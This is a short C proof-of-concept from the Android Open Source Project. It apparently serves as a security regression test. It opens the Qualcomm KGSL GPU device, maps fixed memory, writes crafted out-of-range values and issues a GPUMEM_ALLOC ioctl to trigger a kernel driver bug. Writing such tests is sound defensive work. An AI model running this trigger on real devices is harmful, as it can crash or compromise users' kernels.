1 /** 2 * Copyright (C) 2018 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <sys/types.h> 18 #include <sys/wait.h> 19 #include <unistd.h> 20 #include <stdint.h> 21 #include <string.h> 22 #include <sys/mman.h> 23 #include <sys/syscall.h> 24 #include <fcntl.h> 25 26 #define IOCTL_KGSL_GPUMEM_ALLOC 0xc018092ful 27 int main() { 28 int fd = open("/dev/kgsl-3d0", 0); 29 mmap((void *)0x20000000ul, 0xd000ul, PROT_READ | PROT_WRITE, 30 MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); 31 32 *(uint64_t *)0x20000ff0 = (uint64_t)0xfffffffffffff416; 33 *(uint32_t *)0x20000ff8 = (uint32_t)0x80; 34 *(uint32_t *)0x20000ffc = (uint32_t)0x8000; 35 *(uint32_t *)0x20001000 = (uint32_t)0x12345678; 36 ioctl(fd, 0xc018092ful, 0x20000ff0ul); 37 close(fd); 38 return 0; 39 } 40
